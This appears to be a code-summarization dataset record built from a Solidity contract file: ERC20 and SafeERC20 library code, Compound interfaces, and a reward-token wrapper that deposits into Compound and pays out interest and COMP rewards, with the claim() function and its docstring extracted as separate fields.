_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
//
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//
interface ICToken {
/// @notice Contract which oversees inter-cToken operations
function comptroller() external view returns (IComptroller);
/**
* @notice Sender supplies assets into the market and receives cTokens in exchange
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param mintAmount The amount of the underlying asset to supply
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function mint(uint mintAmount) external returns (uint);
/**
* @notice Sender redeems cTokens in exchange for a specified amount of underlying asset
* @dev Accrues interest whether or not the operation succeeds, unless reverted
* @param redeemAmount The amount of underlying to redeem
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function redeemUnderlying(uint redeemAmount) external returns (uint);
/**
* @notice Get the underlying balance of the `owner`
* @dev This also accrues interest in a transaction
* @param owner The address of the account to query
* @return The amount of underlying owned by `owner`
*/
function balanceOfUnderlying(address owner) external returns (uint);
/**
* @notice Get the token balance of the `owner`
* @param owner The address of the account to query
* @return The number of tokens owned by `owner`
*/
function balanceOf(address owner) external view returns (uint);
/**
* @notice Returns the current per-block borrow interest rate for this cToken
* @return The borrow interest rate per block, scaled by 1e18
*/
function borrowRatePerBlock() external view returns (uint);
/**
* @notice Returns the current per-block supply interest rate for this cToken
* @return The supply interest rate per block, scaled by 1e18
*/
function supplyRatePerBlock() external view returns (uint);
/**
* @notice Calculates the exchange rate from the underlying to the CToken
* @dev This function does not accrue interest before calculating the exchange rate
* @return Calculated exchange rate scaled by 1e18
*/
function exchangeRateStored() external view returns (uint256);
/**
* @notice Get the total number of tokens in circulation
* @return The supply of tokens
*/
function totalSupply() external view returns (uint256);
/// @notice Underlying asset for this CToken
function underlying() external view returns (address);
}
interface IComptroller {
/// @notice The COMP accrued but not yet transferred to each user
function compAccrued(address holder) external view returns (uint256);
/**
* @notice Claim all the comp accrued by holder in all markets
* @param holder The address to claim COMP for
*/
function claimComp(address holder) external;
/**
* @notice Claim all the comp accrued by holder in the specified markets
* @param holder The address to claim COMP for
* @param cTokens The list of markets to claim COMP in
*/
function claimComp(address holder, ICToken[] memory cTokens) external;
/**
* @notice Claim all comp accrued by the holders
* @param holders The addresses to claim COMP for
* @param cTokens The list of markets to claim COMP in
* @param borrowers Whether or not to claim COMP earned by borrowing
* @param suppliers Whether or not to claim COMP earned by supplying
*/
function claimComp(address[] memory holders, ICToken[] memory cTokens, bool borrowers, bool suppliers) external;
/// @notice The portion of compRate that each market currently receives
function compSpeeds(address cToken) external view returns (uint256);
/**
* @notice Return the address of the COMP token
* @return The address of COMP
*/
function getCompAddress() external view returns (address);
}
//
interface IContinuousRewardToken {
/// @notice Emitted when a user supplies underlying token
event Supply(address indexed sender, address indexed receiver, uint256 amount);
/// @notice Emitted when a CRT token holder redeems balance
event Redeem(address indexed sender, address indexed receiver, uint256 amount);
/// @notice Emitted when current or previous reward owners claim their rewards
event Claim(address indexed sender, address indexed receiver, address indexed rewardToken, uint256 amount);
/// @notice Emitted when an admin changes current reward owner
event DelegateUpdated(address indexed oldDelegate, address indexed newDelegate);
/// @notice Emitted when an admin role is transferred by current admin
event AdminTransferred(address indexed oldAdmin, address indexed newAdmin);
/**
* @notice The address of underlying token
* @return underlying token
*/
function underlying() external view returns (address);
/**
* @notice Reward tokens that may be accrued as rewards
* @return Exhaustive list of all reward token addresses
*/
function rewardTokens() external view returns (address[] memory);
/**
* @notice Balance of accrued reward token for account
* @param rewardToken Reward token address
* @return Balance of accrued reward token for account
*/
function balanceOfReward(address rewardToken, address account) external view returns (uint256);
/**
* @notice Annual Percentage Reward for the specific reward token. Measured in relation to the base units of the underlying asset vs base units of the accrued reward token.
* @param rewardToken Reward token address
* @return APY times 10^18
*/
function rate(address rewardToken) external view returns (uint256);
/**
* @notice Supply a specified amount of underlying tokens and receive back an equivalent quantity of CB-CR-XX-XX tokens
* @param receiver Account to credit CB-CR-XX-XX tokens to
* @param amount Amount of underlying token to supply
*/
function supply(
address receiver,
uint256 amount
) external;
/**
* @notice Redeem a specified amount of underlying tokens by burning an equivalent quantity of CB-CR-XX-XX tokens. Does not redeem reward tokens
* @param receiver Account to credit underlying tokens to
* @param amount Amount of underlying token to redeem
*/
function redeem(
address receiver,
uint256 amount
) external;
/**
* @notice Claim accrued reward in one or reward tokens
* @dev All params must have the same array length
* @param receivers List of accounts to credit claimed tokens to
* @param tokens Reward token addresses
* @param amounts Amounts of each reward token to claim
*/
function claim(
address[] memory receivers,
address[] memory tokens,
uint256[] memory amounts
) external;
/**
* @notice Atomic redeem and claim in a single transaction
* @dev receivers.length[0] corresponds to the address that the underlying token is redeemed to. receivers.length[1:n-1] hold the to addresses for the reward tokens respectively.
* @param receivers List of accounts to credit tokens to
* @param amounts List of amounts to credit
* @param claimTokens Reward token addresses
*/
function redeemAndClaim(
address[] calldata receivers,
uint256[] calldata amounts,
address[] calldata claimTokens
) external;
/**
* @notice Snapshots reward owner balance and update reward owner address
* @dev Only callable by admin
* @param newDelegate New reward owner address
*/
function updateDelegate(address newDelegate) external;
/**
* @notice Get the current delegate (receiver of rewards)
* @return the address of the current delegate
*/
function delegate() external view returns (address);
/**
* @notice Get the current admin
* @return the address of the current admin
*/
function admin() external view returns (address);
/**
* @notice Updates the admin address
* @dev Only callable by admin
* @param newAdmin New admin address
*/
function transferAdmin(address newAdmin) external;
}
//
/**
* @title ContinuousRewardToken contract
* @notice ERC20 token which wraps underlying protocol rewards
* @author
*/
abstract contract ContinuousRewardToken is ERC20, IContinuousRewardToken {
using SafeMath for uint256;
using SafeERC20 for IERC20;
/// @notice The address of underlying token
address public override underlying;
/// @notice The admin of reward token
address public override admin;
/// @notice The current owner of all rewards
address public override delegate;
/// @notice Unclaimed rewards of all previous owners: reward token => (owner => amount)
mapping(address => mapping(address => uint256)) public unclaimedRewards;
/// @notice Total amount of unclaimed rewards: (reward token => amount)
mapping(address => uint256) public totalUnclaimedRewards;
/**
* @notice Construct a new Continuous reward token
* @param _underlying The address of underlying token
* @param _delegate The address of reward owner
*/
constructor(address _underlying, address _delegate) public {
admin = msg.sender;
require(_underlying != address(0), "ContinuousRewardToken: invalid underlying address");
require(_delegate != address(0), "ContinuousRewardToken: invalid delegate address");
delegate = _delegate;
underlying = _underlying;
}
/**
* @notice Supply a specified amount of underlying tokens and receive back an equivalent quantity of CB-CR-XX-XX tokens
* @param receiver Account to credit CB-CR-XX-XX tokens to
* @param amount Amount of underlying token to supply
*/
function supply(address receiver, uint256 amount) override external {
IERC20(underlying).safeTransferFrom(msg.sender, address(this), amount);
_mint(receiver, amount);
_supply(amount);
emit Supply(msg.sender, receiver, amount);
}
function _supply(uint256 amount) virtual internal;
/**
* @notice Reward tokens that may be accrued as rewards
* @return Exhaustive list of all reward token addresses
*/
function rewardTokens() override external view returns (address[] memory) {
return _rewardTokens();
}
function _rewardTokens() virtual internal view returns (address[] memory);
/**
* @notice Amount of reward for the given reward token
* @param rewardToken The address of reward token
* @param account The account for which reward balance is checked
* @return reward balance of token the specified account has
*/
function balanceOfReward(address rewardToken, address account) override public view returns (uint256) {
if (account == delegate) {
return _balanceOfReward(rewardToken).sub(totalUnclaimedRewards[rewardToken]);
}
return unclaimedRewards[rewardToken][account];
}
function _balanceOfReward(address rewardToken) virtual internal view returns (uint256);
/**
* @notice Redeem a specified amount of underlying tokens by burning an equivalent quantity of CB-CR-XX-XX tokens. Does not redeem reward tokens
* @param receiver Account to credit underlying tokens to
* @param amount Amount of underlying token to redeem
*/
function redeem(
address receiver,
uint256 amount
) override public {
_burn(msg.sender, amount);
_redeem(amount);
IERC20(underlying).safeTransfer(receiver, amount);
emit Redeem(msg.sender, receiver, amount);
}
function _redeem(uint256 amount) virtual internal;
/**
* @notice Claim accrued reward in one or more reward tokens
* @dev All params must have the same array length
* @param receivers List of accounts to credit claimed tokens to
* @param tokens Reward token addresses
* @param amounts Amounts of each reward token to claim
*/
function claim(
address[] calldata receivers,
address[] calldata tokens,
uint256[] calldata amounts
) override public {
require(receivers.length == tokens.length && receivers.length == amounts.length, "ContinuousRewardToken: lengths dont match");
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
address claimToken = tokens[i];
uint256 amount = amounts[i];
uint256 rewardBalance = balanceOfReward(claimToken, msg.sender);
uint256 claimAmount = amount == uint256(-1) ? rewardBalance : amount;
require(rewardBalance >= claimAmount, "ContinuousRewardToken: insufficient claimable");
// If caller is one of previous owners, update unclaimed rewards data
if (msg.sender != delegate) {
unclaimedRewards[claimToken][msg.sender] = rewardBalance.sub(claimAmount);
totalUnclaimedRewards[claimToken] = totalUnclaimedRewards[claimToken].sub(claimAmount);
}
_claim(claimToken, claimAmount);
IERC20(claimToken).safeTransfer(receiver, claimAmount);
emit Claim(msg.sender, receiver, claimToken, claimAmount);
}
}
function _claim(address claimToken, uint256 amount) virtual internal;
/**
* @notice Atomic redeem and claim in a single transaction
* @dev receivers[0] corresponds to the address that the underlying token is redeemed to. receivers[1:n-1] hold the to addresses for the reward tokens respectively.
* @param receivers List of accounts to credit tokens to
* @param amounts List of amounts to credit
* @param claimTokens Reward token addresses
*/
function redeemAndClaim(
address[] calldata receivers,
uint256[] calldata amounts,
address[] calldata claimTokens
) override external {
redeem(receivers[0], amounts[0]);
claim(receivers[1:], claimTokens, amounts[1:]);
}
/**
* @notice Updates reward owner address
* @dev Only callable by admin
* @param newDelegate New reward owner address
*/
function updateDelegate(address newDelegate) override external onlyAdmin {
require(newDelegate != delegate, "ContinuousRewardToken: new reward owner is the same as old one");
require(newDelegate != address(0), "ContinuousRewardToken: invalid new delegate address");
address oldDelegate = delegate;
address[] memory allRewardTokens = _rewardTokens();
for (uint256 i = 0; i < allRewardTokens.length; i++) {
address rewardToken = allRewardTokens[i];
uint256 rewardBalance = balanceOfReward(rewardToken, oldDelegate);
unclaimedRewards[rewardToken][oldDelegate] = rewardBalance;
totalUnclaimedRewards[rewardToken] = totalUnclaimedRewards[rewardToken].add(rewardBalance);
// If new owner used to be reward owner in the past, transfer back his unclaimed rewards to himself
uint256 prevBalance = unclaimedRewards[rewardToken][newDelegate];
if (prevBalance > 0) {
unclaimedRewards[rewardToken][newDelegate] = 0;
totalUnclaimedRewards[rewardToken] = totalUnclaimedRewards[rewardToken].sub(prevBalance);
}
}
delegate = newDelegate;
emit DelegateUpdated(oldDelegate, newDelegate);
}
/**
* @notice Updates the admin address
* @dev Only callable by admin
* @param newAdmin New admin address
*/
function transferAdmin(address newAdmin) override external onlyAdmin {
require(newAdmin != admin, "ContinuousRewardToken: new admin is the same as old one");
address previousAdmin = admin;
admin = newAdmin;
emit AdminTransferred(previousAdmin, newAdmin);
}
modifier onlyAdmin {
require(msg.sender == admin, "ContinuousRewardToken: not an admin");
_;
}
}
//
/**
* @title CompoundRewardToken contract
* @notice ERC20 token which wraps Compound underlying and COMP rewards
* @author
*/
contract CompoundRewardToken is ContinuousRewardToken {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 constant private BASE = 1e18;
uint256 constant private DAYS_PER_YEAR = 365;
uint256 constant private BLOCKS_PER_DAY = 5760;// at a rate of 15 seconds per block, https://github.com/compound-finance/compound-protocol/blob/23eac9425accafb82551777c93896ee7678a85a3/contracts/JumpRateModel.sol#L18
uint256 constant private BLOCKS_PER_YEAR = BLOCKS_PER_DAY * DAYS_PER_YEAR;
/// @notice The address of cToken contract
ICToken public cToken;
/// @notice The address of COMP token
address public comp;
/**
* @notice Construct a new Compound reward token
* @param name ERC-20 name of this token
* @param symbol ERC-20 symbol of this token
* @param _cToken The address of cToken contract
* @param delegate The address of reward owner
*/
constructor(
string memory name,
string memory symbol,
ICToken _cToken,
address delegate
) ERC20(name, symbol) ContinuousRewardToken(_cToken.underlying(), delegate) public {
cToken = _cToken;
comp = cToken.comptroller().getCompAddress();
// This contract doesn't support cComp or cEther, use special case contract for them
require(underlying != comp, "CompoundRewardToken: does not support cComp usecase");
IERC20(underlying).safeApprove(address(cToken), uint256(-1));
}
function _rewardTokens() override internal view returns (address[] memory) {
address[] memory tokens = new address[](2);
(tokens[0], tokens[1]) = (underlying, comp);
return tokens;
}
function _balanceOfReward(address rewardToken) override internal view returns (uint256) {
require(rewardToken == underlying || rewardToken == comp, "CompoundRewardToken: not reward token");
if (rewardToken == underlying) {
// get the value of this contract's cTokens in the underlying, and subtract total CRT mint amount to get interest
uint256 underlyingBalance = balanceOfCTokenUnderlying(address(this));
uint256 totalSupply = totalSupply();
// Due to rounding errors, it is possible the total supply is greater than the underlying balance by 1 wei, return 0 in this case
// This is a transient case which will resolve itself once rewards are earned
return totalSupply > underlyingBalance ? 0 : underlyingBalance.sub(totalSupply);
} else {
return getCompRewards();
}
}
/**
* @notice Annual Percentage Reward for the specific reward token. Measured in relation to the base units of the underlying asset vs base units of the accrued reward token.
* @param rewardToken Reward token address
* @dev Underlying asset rate is an APY, Comp rate is an APR
* @return APY times 10^18
*/
function rate(address rewardToken) override external view returns (uint256) {
require(rewardToken == underlying || rewardToken == comp, "CompoundRewardToken: not reward token");
if (rewardToken == underlying) {
return getUnderlyingRate();
} else {
return getCompRate();
}
}
function _supply(uint256 amount) override internal {
require(cToken.mint(amount) == 0, "CompoundRewardToken: minting cToken failed");
}
function _redeem(uint256 amount) override internal {
require(cToken.redeemUnderlying(amount) == 0, "CompoundRewardToken: redeeming cToken failed");
}
function _claim(address claimToken, uint256 amount) override internal {
require(claimToken == underlying || claimToken == comp, "CompoundRewardToken: not reward token");
if (claimToken == underlying) {
require(cToken.redeemUnderlying(amount) == 0, "CompoundRewardToken: redeemUnderlying failed");
} else {
claimComp();
}
}
/*** Compound Interface ***/
//@dev Only shows the COMP accrued up until the last interaction with the cToken.
function getCompRewards() internal view returns (uint256) {
uint256 compAccrued = cToken.comptroller().compAccrued(address(this));
return IERC20(comp).balanceOf(address(this)).add(compAccrued);
}
function claimComp() internal {
ICToken[] memory cTokens = new ICToken[](1);
cTokens[0] = cToken;
cToken.comptroller().claimComp(address(this), cTokens);
}
function getUnderlyingRate() internal view returns (uint256) {
uint256 supplyRatePerBlock = cToken.supplyRatePerBlock();
return rateToAPY(supplyRatePerBlock);
}
// @dev APY = (1 + rate) ^ 365 - 1
function rateToAPY(uint apr) internal pure returns (uint256) {
uint256 ratePerDay = apr.mul(BLOCKS_PER_DAY).add(BASE);
uint256 acc = ratePerDay;
for (uint256 i = 1; i < DAYS_PER_YEAR; i++) {
acc = acc.mul(ratePerDay).div(BASE);
}
return acc.sub(BASE);
}
function getCompRate() internal view returns (uint256) {
IComptroller comptroller = cToken.comptroller();
uint256 compForMarketPerYear = comptroller.compSpeeds(address(cToken)).mul(BLOCKS_PER_YEAR);
uint256 exchangeRate = cToken.exchangeRateStored();
uint256 totalSupply = cToken.totalSupply();
uint256 totalUnderlying = totalSupply.mul(exchangeRate).div(BASE);
return compForMarketPerYear.mul(BASE).div(totalUnderlying);
}
// @dev returns the amount of underlying that this contract's cTokens can be redeemed for
function balanceOfCTokenUnderlying(address owner) internal view returns (uint256) {
uint256 exchangeRate = cToken.exchangeRateStored();
uint256 scaledMantissa = exchangeRate.mul(cToken.balanceOf(owner));
// Note: We are not using careful math here as we're performing a division that cannot fail
return scaledMantissa / BASE;
}
}
|
* @notice Claim accrued reward in one or more reward tokens @dev All params must have the same array length @param receivers List of accounts to credit claimed tokens to @param tokens Reward token addresses @param amounts Amounts of each reward token to claim/ If caller is one of previous owners, update unclaimed rewards data
|
function _redeem(uint256 amount) virtual internal;
function claim(
address[] calldata receivers,
address[] calldata tokens,
uint256[] calldata amounts
) override public {
require(receivers.length == tokens.length && receivers.length == amounts.length, "ContinuousRewardToken: lengths dont match");
for (uint256 i = 0; i < receivers.length; i++) {
address receiver = receivers[i];
address claimToken = tokens[i];
uint256 amount = amounts[i];
uint256 rewardBalance = balanceOfReward(claimToken, msg.sender);
uint256 claimAmount = amount == uint256(-1) ? rewardBalance : amount;
require(rewardBalance >= claimAmount, "ContinuousRewardToken: insufficient claimable");
if (msg.sender != delegate) {
unclaimedRewards[claimToken][msg.sender] = rewardBalance.sub(claimAmount);
totalUnclaimedRewards[claimToken] = totalUnclaimedRewards[claimToken].sub(claimAmount);
}
_claim(claimToken, claimAmount);
IERC20(claimToken).safeTransfer(receiver, claimAmount);
emit Claim(msg.sender, receiver, claimToken, claimAmount);
}
}
| 192,365
|
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pragma solidity ^0.6.6;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
